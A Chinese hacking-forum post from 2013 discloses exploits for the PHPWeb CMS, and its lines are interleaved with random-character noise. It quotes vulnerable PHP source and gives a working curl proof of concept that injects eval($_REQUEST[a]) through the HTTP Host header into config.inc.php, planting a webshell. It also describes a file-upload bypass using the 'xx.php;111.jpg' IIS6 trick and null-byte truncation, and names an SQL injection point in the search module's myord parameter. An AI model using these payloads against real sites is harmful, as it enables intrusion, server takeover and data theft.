找回密码
 立即注册
查看: 3357|回复: 0
打印 上一主题 下一主题

phpweb成品网站最新版(注入、上传、写shell)

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-4 19:45:35 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
注入:6 V4 ^/ K* s  x& v& v
  _  o8 \- U. \( r1 u
之所以鸡肋就是该漏洞利用安装文件 重新生成 配置文件 写入可执行代码, y* _* ^( ]+ S
. o% s. n& ]$ `, Q
鸡肋1: 具有破坏性 动作非常大 重新写了配置文件 数据库连接文件3 I7 E2 s' `4 [$ E4 p' ?- A' W, j  s
鸡肋2: 有一定安全常识的站长都会删掉 install 目录, L0 I( e6 I1 Y$ r+ h) p% g  s
  R$ o. G  x) s' x, _& h& t% ^
虽然鸡肋 但也有优点 : 不受 magic_quotes_gpc 、 webserver 影响& @7 V9 {) ]0 b( F3 b) T
9 B- p( \1 h# e; t% K: r! P
分析:% }" U- I4 f1 l" \
* n$ M; g# i( I0 J) b
4 v& T$ h, @! G3 m7 `
$siteurl="http://".$_SERVER["HTTP_HOST"]."/";    //未过滤0 j( M9 h4 [/ A# k' S

7 k4 D0 v9 b! S1 z1 E                                            $filestr = fread(fopen($SysConfigFile, 'r'),30000);' k2 ?; E9 ~4 r4 [* D( ?
                                            $filestr=str_replace(" ","",$filestr);
& U6 ~  \% U8 p, P' j- r/ ^0 X                                            $filestr=str_replace("DefaultDbHost",$dbhost,$filestr);+ a7 {2 O4 ^$ i% a# v* h$ J7 t
                                            $filestr=str_replace("DefaultDbName",$dbname,$filestr);
" @% y/ D; D6 h: U                                            $filestr=str_replace("DefaultDbUser",$dbuser,$filestr);
$ r* r4 i- [6 e# H( K$ q' k+ K1 d# e                                            $filestr=str_replace("DefaultDbPass",$dbpwd,$filestr);) z# m/ L( y; O) S8 ]9 `
                                            $filestr=str_replace("DefaultsLan","zh_cn",$filestr);$ ^  o/ W8 S' K3 Q
                                            $filestr=str_replace("DefaultTablePre",$tablepre,$filestr);
. |5 z+ c: E6 m% u                                            $filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr);' U% l; O% n2 d" j1 ]7 y: c
' j  o/ m" V# f- ?- h
                                            fwrite(fopen($ConFile,"w"),$filestr,30000);& p( D% _3 |0 l% z; B
$_SERVER["HTTP_HOST"] 就是 http head 中HOST传递过来的 可控制,并且不受 magic_quotes_gpc 影响 ^ _ ^
& i$ F& e4 O  K5 W& x; _2 u8 r4 Z/ J
. @. n2 c$ y! @6 v# ~/ f( o9 Opoc:
1 U  J4 j0 x% Y! N2 u1 w' ^& b
' @  t3 {8 D! `, |?  g. @0 _$ n7 O* `
1
# u0 x+ ~+ k# f3 k( e9 a  Kcurl http://fuck.0day5.com/base/install/index.php --data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#"* M2 B. i% }2 m7 e' F9 I& O
shell地址: /config.inc.php
5 z4 U8 o; ~/ R/ B- i/ ^. L跟之前的 phpcms一样 需要远程数据库  H/ c2 ?& a( V+ |( p# j
2 d/ k5 Z/ I7 p
——————————————————–8 @0 {' }  R9 P
上传漏洞(需要进后台):
2 W# R- T2 `, N漏洞文件: /kedit/upload_cgi/upload.php
) G: C9 q' Y) a这个很多人都知道,但是很鸡肋 iis6 解析 或 GPC off条件下才可利用& y, L/ \/ G5 S5 m3 F
( i8 I& j0 R$ v. a% r

3 ?2 \4 G. {7 k<?php9 ~$ x: _" T6 [: x
    define("ROOTPATH", "../../");
6 N" B' Y5 K6 O+ n) G, y    include(ROOTPATH."includes/admin.inc.php");: v7 g# ?3 D' e4 Z9 ]1 T' }: Z
    NeedAuth(0);4 ]; c1 Y6 M+ O( Y
7 V0 t% t( B. c1 C0 M: V2 v' m/ ~
    $dt=date("Ymd",time());
0 n  D# @# `" |: b' x    if(!is_dir(ROOTPATH.$_POST['attachPath'].$dt)){
. D) h* w  q: C            @mkdir(ROOTPATH.$_POST['attachPath'].$dt,0777);- D9 d* Z5 `/ g, N9 U' I$ _. Y& C7 r
    }# Z+ K8 ^) ]2 d+ c

  B9 C% U# P+ k* H% n6 R    //文件保存目录路径8 ]% M' W- q4 X; _+ V+ F0 s2 E
    $save_path = ROOTPATH.$_POST['attachPath'].$dt.'/';& v  K6 a* a8 S3 ^' p
    echo $save_path;; V# `# q7 K% F8 W# m
    //文件保存目录URL
" u' {! @1 j, F( E$ T" `    $save_url = '../../'.$_POST['attachPath'].$dt.'/';, `; c7 L& D+ n& G

$ Q! {( L# g- {/ s% w5 B8 ~    //定义允许上传的文件扩展名& `0 ~9 k* A: k7 u  V3 }: M
    $ext_arr = array('gif','jpg','png','bmp'); //限制后缀% N+ ^& [4 R( r( h7 Z

! K% E6 Z: `- j" o7 G& B    //最大文件大小" H/ v& p7 i: k% |* u. b* x; ~
    $max_size = 1000000;
( r6 u3 V2 t' ^$ H  X/ {
6 J/ [* u+ _- Q1 q    //更改目录权限
: _' E1 f9 k0 m# O2 b6 Z" w' q    @mkdir($save_path, 0777);
/ x" \( q% \# q9 F
0 p. a( [- A8 F) I2 ?$ |+ \    //文件的全部路径$ Q2 D2 k8 }2 I3 J/ o
    $file_path = $save_path.$_POST['fileName'];   //保存文件名
* y, i+ y' ~* c9 [2 G & z8 I& ]( I$ F( K+ D
    //文件URL1 L3 A; ^+ ?  L9 E8 Q" l
    $file_url = $save_url.$_POST['fileName'];
, n* {  P: `4 C5 ]1 U6 q+ a3 f//有上传文件时! [' v0 Q" ~/ J: C
    if (empty($_FILES) === false) {2 \* y8 w# n* |! x- [9 b) c
9 D: k% z1 W( s8 o* \0 k: g; P) D
            //原文件名( J& E- i; T" J  U
            $file_name = $_FILES['fileData']['name'];
5 M6 L) i4 A9 _1 @3 ~- n            //服务器上临时文件名- n6 ^( j6 _2 H5 P8 c
            $tmp_name = $_FILES['fileData']['tmp_name'];- Z  N9 m" s  b# l1 T0 o
            //文件大小
! ]* g. ?, C: f' H  H; Z) j            $file_size = $_FILES['fileData']['size'];
' b& ~0 h$ L1 d; v, p) R" C            //检查目录
4 R. b2 |' f; J; k: o$ V            if (@is_dir($save_path) === false) {% U" e5 Q3 R( G( `$ p
                    alert("上传目录不存在。");. Y2 A* a$ F' N3 F8 |3 ^. R
            }5 O7 Q4 b" V7 C% q3 \
            //检查目录写权限
0 O% W6 q- H5 B0 X0 d: p$ y4 P            if (@is_writable($save_path) === false) {
0 S, P4 O- U( x( m+ ]                    alert("上传目录没有写权限。");
2 Z/ \; a  n8 D. z' g            }& r6 Q: Y- J% a! J
            //检查是否已上传
* v: d$ N  x+ `' h            if (@is_uploaded_file($tmp_name) === false) {
& A: M& E, t( q+ N                    alert("临时文件可能不是上传文件。");0 a& Y# \, _" d  X- t
            }9 |2 j+ j7 r8 i: A5 O; D
            //检查文件大小% y/ H6 x# N3 q6 w3 \
            if ($file_size > $max_size) {
( ~4 ~3 D2 T4 U! w2 g                    alert("上传文件大小超过限制。");* N& Z. L, Z0 c1 z, _5 Y8 h
            }
2 P& t8 t% L$ a& {8 m# N6 F            //获得文件扩展名
( O. q: r# @; r; ]            $temp_arr = explode(".", $_POST['fileName']);/ c& Z1 m6 W! f
            $file_ext = array_pop($temp_arr);6 A% n- S0 a+ o1 r, v: L
            $file_ext = trim($file_ext);' s8 c1 m7 Q4 z0 K( x! p
            $file_ext = strtolower($file_ext);
8 {. b$ C2 E7 p. `( b" u9 L1 Z% ] 6 I& d0 }! z9 I. ^. Q5 y' q, z
            //检查扩展名   & ~6 o% a1 N- q* W9 b
            if (in_array($file_ext, $ext_arr) === false) {     
$ j5 @+ b- c/ D8 B% m8 [9 F                    alert("上传文件扩展名是不允许的扩展名。");$ }3 R9 k9 v% L7 k
            }
7 F1 K% Z2 {2 f. Z% n
. l2 W% p$ N) L* D' q" t7 u* \% F7 R            //移动文件   0 A+ _) j4 J/ `6 h  N
            //未重命名 虽然过滤了 后缀   iis 6解析漏洞 ^ _ ^
9 P2 |# b8 S" t; g+ I            if (move_uploaded_file($tmp_name, $file_path) === false) {
4 M) w- F- ]: \" E) \# e1 l                    alert("上传文件失败。");2 ~- G& i+ t& N! @: g$ x
            }# f- W/ w7 c* o: n

# w  p# m( ^4 V! @& X; Y            @chmod($file_path,0666);
7 h$ g9 R4 X- T9 V9 B' B
4 V2 _+ ?! `* k" X    ?>
8 X$ x* D3 X& s/ p抓包改包 filename 改为 xx.php;111.jpg 即可突破或者使用http://www.0day5.com/?p=227
  B7 J* J. ?( t; B+ z
+ ]- {5 J' N0 T6 j) I& B1 D4 Dapache 版本magic_quotes_gpc = off情况下可以考虑 \00 截断 绕过
8 @3 M6 c7 d( d" r & z( d4 P0 ~! {7 M: e( Q
——————————————————
6 F" W6 F, `1 [; ]% z, j. M注入漏洞:
9 j% f( w. t1 J8 G+ c  m/ `7 [+ q漏洞文件:search/module/search.php& N% ^! y! n0 ]6 I
/search/index.php?key=1&myord=1 [sqlinjection]
+ K/ b, e9 _7 @
8 R  I/ x+ q! C. b5 s2 J: t
/ X% K8 F7 k3 k. j' r2 d<?php- f$ i( }9 d$ Z! l4 f4 f
   //       ... 省略 n 行...
  X2 z) N, T& M+ C: a   //第18行:
: r8 W# x. Q8 k. c8 g           $key=htmlspecialchars($_GET["key"]);   //只是简单的将字符HTML 实体 编码   , mysql 注入不受此影响
1 l9 r3 d8 Y* T. Q1 `7 u6 m           $page=htmlspecialchars($_GET["page"]);
7 c* c" l7 T  v- Q" Y- x           $myord=htmlspecialchars($_GET["myord"]);
- {9 }  Z& |7 _) l
) G% l* a7 Q& V4 d4 ]   //       ... 省略 n 行...
, I/ o; E6 s; E0 }3 M   $key,$myord 两个参数带入查询
5 E; R; }4 v" A; V$ ]   //第47行 $key:; n: @9 j, u" ?, Q5 w$ B

5 V2 D3 t6 n, x% c% u% f0 b   $fsql->query("select count(id) from {P}_news_con where iffb='1' and catid!='0' and (title regexp '$key' or body regexp '$key')");  //虽然带入查询 但使用的 是regexp 不知如何绕过..
( f, I( h: A* j  x 3 t! e9 E, n) I5 l; }
   //第197行 $myord+ S. w! u' F# B4 G6 ]$ k- l
   $fsql->query($scl . " order by $myord desc limit $pagelimit ");    产生注入. f1 B- A9 i8 Z

8 Z4 j8 z+ e6 S* S   ?>
& h5 I& B2 d- M3 z
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表